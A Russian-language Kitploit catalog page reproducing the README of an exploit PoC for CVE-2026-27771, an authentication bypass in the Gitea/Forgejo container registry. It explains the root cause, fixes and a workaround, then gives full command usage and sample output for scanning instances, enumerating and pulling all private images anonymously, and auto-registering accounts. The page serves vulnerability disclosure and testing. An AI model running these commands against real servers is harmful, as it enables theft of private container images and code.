Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27771 — CVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - Pull private container images without authentication | Kitploit
Инструменты/GitHubGitHub/portbuster1337/cve-2026-27771
Authentication & AuthorizationContainer SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubportbuster1337/cve-2026-27771

CVE-2026-27771

CVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - Pull private container images without authentication

Репозиторий
1862 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27771 — Обход аутентификации реестра контейнеров Gitea

CVSS: Н/Д (не опубликовано)
Затрагивает: Gitea < 1.26.2 (все версии с OCI-реестром контейнеров)
Также затрагивает: Forgejo (подтверждено NoScope)
Обнаружено: NoScope
Исправлено в: Gitea v1.26.2 (20 мая 2026)

Отказ от ответственности: Эта концепция предоставлена только для образовательных целей и авторизованных исследований безопасности. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности за любое неправомерное использование этого кода. Проверяйте только те системы, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Краткое описание

Неаутентифицированные удаленные злоумышленники могут загружать частные образы контейнеров из экземпляров Gitea. Конечные точки API спецификации распространения OCI (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) отдают контент призрачным/анонимным пользователям (UserID: -1) без проверки видимости владельца пакета контейнера (частный/ограниченный/публичный).

NoScope выявила ~31 750+ экземпляров, доступных через интернет, в более чем 30 странах. Уязвимость оставалась незамеченной около 4 лет.

Корневая причина

Уязвимость находится в промежуточном обработчике ReqContainerAccess (routers/api/packages/container/container.go):

root@kitploit:~
// v1.25.4 — уязвимая
func ReqContainerAccess(ctx *context.Context) {
    if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
        apiUnauthorizedError(ctx)
    }
}

Это проверяет только:

  1. Равно ли ctx.Doer nil? (неаутентифицированный запрос вообще без токена)
  2. Включен ли RequireSignInViewStrict И является ли пользователь призраком?

Он не проверяет настройку видимости владельца пакета (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). Призрачный пользователь (UserID: -1) с пустой областью проходит напрямую и может получить доступ к любому пакету контейнера.

Конечная точка /v2/token (функция Authenticate) выдает анонимные токены без учетных данных, когда RequireSignInViewStrict равен false.

Исправление (PR #37290 + PR #37610)

Два исправления вышли в версии 1.26.2:

  1. PR #37290 — Условный заголовок Basic realm в apiUnauthorizedError — прекращает отправку Basic realm на публичных экземплярах, чтобы избежать путаницы у клиентов Docker, и проверка видимости для каждого владельца в запросе аутентификации.

  2. PR #37610 — Метки видимости пакетов + проверка разрешений источника Composer — добавляет базовую модель разрешений для пакетов. Без этих меток не было возможности различать частные/внутренние/публичные пакеты в пути проверки разрешений.

Обходное решение

root@kitploit:~
[service]
REQUIRE_SIGNIN_VIEW = true

Это блокирует весь анонимный доступ (включая публичные репозитории), что закрывает путь эксплуатации. Однако базовая модель разрешений все еще нарушена — любой аутентифицированный пользователь все еще может получить доступ ко всем пакетам. Обновитесь до версии 1.26.2+ для настоящего исправления.

Эксплойт PoC

Предварительные требования

  • Python 3.8+
  • Целевой экземпляр Gitea < 1.26.2 с включенным OCI-реестром контейнеров (v1.17.0+)

Использование

root@kitploit:~
python3 CVE-2026-27771-exploit.py scan <url>                       # Обнаружение репозиториев/тегов
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url>                        # Загрузить все образы
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image     # Загрузить конкретный репозиторий
python3 CVE-2026-27771-exploit.py pull <url> --dry-run              # Показать, что будет загружено
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]

Примеры

root@kitploit:~
# Сканирование уязвимого экземпляра
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

# Загрузка всех частных образов контейнеров (анонимно)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

# Загрузка с персональным токеном доступа (для экземпляров с REQUIRE_SIGNIN_VIEW)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
  --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser

# Автоматическая регистрация на экземплярах без капчи
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
  --username myuser --password mypass --email [email protected]

Что делает эксплойт

  1. Предварительная проверка: Проверяет версию, конечную точку /v2/, определяет доступность регистрации, получает анонимный токен или обменивает PAT на JWT
  2. Перечисление: Выводит список всех репозиториев контейнеров через /v2/_catalog (возвращает ВСЕ репозитории — публичные и частные — из-за нарушенной видимости)
  3. Загрузка: Для каждого репозитория выводит теги, получает манифест OCI, разрешает мультиархитектурные образы, загружает все слои blob
  4. Извлечение: Автоматически извлекает сжатые gzip tar-слои в pulled_<repo>/extracted/

Обработка токенов

  • Анонимный: Если REQUIRE_SIGNIN_VIEW=false, получает призрачный токен без учетных данных
  • PAT (SHA1): Если --token является 40-символьной шестнадцатеричной строкой, автоматически обменивает его на OCI JWT через Basic auth
  • JWT: Если --token содержит точки, использует его напрямую как Bearer-токен

Пример вывода

root@kitploit:~
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)

[*] Container repositories: 3
    acme/production-app: tags=['latest', 'v2.1.0']
    acme/internal-db: tags=['latest', 'v1.3.0']
    team-xyz/secret-ml-model: tags=['v0.9.2']

  [acme/production-app]
  Tags: ['latest']
    └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
      [1/12] sha256_a1b2c3... (28.4 MB)
      ...
      manifests saved
      extracted 39862 files to pulled_acme_production-app/extracted

Воспроизведение

Настройка тестовой среды

root@kitploit:~
# 1. Разверните Gitea 1.25.x в Docker (уязвимая версия)
docker run -d --name gitea-vuln -p 3000:3000 \
  -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
  gitea/gitea:1.25.4

# 2. Создайте пользователя и отправьте частный Docker-образ
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest

# 3. Запустите эксплойт (без учетных данных)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000

# Эксплойт найдет testuser/secret-app и загрузит все слои.
# Файлы будут в pulled_testuser_secret-app/extracted/

Проверка исправления

root@kitploit:~
# Обновитесь до исправленной версии
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
  gitea/gitea:1.26.2

# Анонимный токен должен быть отклонен (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Ожидается: "Version >= 1.26.2 (patched)"

Ссылки

  • https://noscope.com/blog/gitea-instances-exposing-private-container
  • https://blog.gitea.com/release-of-1.26.2/
  • https://github.com/go-gitea/gitea/pull/37290
  • https://github.com/go-gitea/gitea/pull/37610
  • https://github.com/go-gitea/gitea/security/advisories
Скачать инструмент